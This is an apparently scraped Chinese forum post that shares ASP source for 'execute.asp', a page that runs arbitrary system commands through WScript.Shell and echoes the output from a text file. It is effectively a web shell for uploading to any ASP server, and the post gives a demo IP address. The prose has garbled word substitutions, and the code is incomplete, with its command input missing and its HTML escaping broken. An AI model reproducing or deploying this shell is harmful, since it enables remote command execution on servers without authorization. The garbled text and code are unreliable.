可以执行系统命令的ASP原码放送

　　近期正在写一个远程服务器治理的东东(借鉴了ASE的 部分代码、添加了远程

　　执行命令、上传、服务等 性能 。)，得到了阿新、ADAM、辰儿、Ghost_happy、

　　crazybird等众多网友的协助，让我很 打动，所以我打算写好了以后，所有原代码

　　发布， 可以 自由 批改和 分布 。你所要做的只不过上传程序到一个 支撑ASP的服务器 。

　　值得 留神的是，程序运行必须有FileSystemObject 支撑 。以下是远程执行命令的

　　原代码 。copy下来另存为execute.asp.

　　演示地址：http://210.160.4.24/scripts/execute.asp
　　一台日本的烂机，所以中文会浮现乱码！

　　
　　
　　
　　
　　
　　
　　

　　whoamI.txt路径到一个有写权限的目录
　　Set WShShell = Server.CreateObject("WScript.Shell")
　　RetCode = WShShell.Run(cmd, 1, True)
　　if RetCode = 0 Then
　　 Response.write ml & "　"
　　 Response.write " 命令 顺利执行！"&"

"
　　else
　　 Response.write " 命令执行失败！权限不够或者该程序 无奈在DOS状态下运行

　　！"&"

"

　　end if
　　'response.write cmd
　　
　　function htmlencode(str)
　　dim result
　　dim l
　　if isNULL(str) then
　　htmlencode=""
　　exit function
　　end if
　　l=len(str)
　　result=""
　　 dim i
　　 for i = 1 to l
　　 select case mid(str,i,1)
　　 case "<"
　　 result=result+"<"
　　 case ">"
　　 result=result+">"
　　 case chr(34)
　　 result=result+"""
　　 case "&"
　　 result=result+"&"
　　 case else
　　 result=result+mid(str,i,1)
　　end select
　　next
　　htmlencode=result
　　end function
　　Set fs =CreateObject("Scripting.FileSystemObject")
　　Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '读文件，别忘

　　了 批改路径.
　　counter=0
　　do while not thisfile.atendofstream
　　counter=counter+1
　　thisline=htmlencode(thisfile.readline)
　　response.write thisline&"
"
　　loop
　　thisfile.Close
　　set fs=nothing
　　%>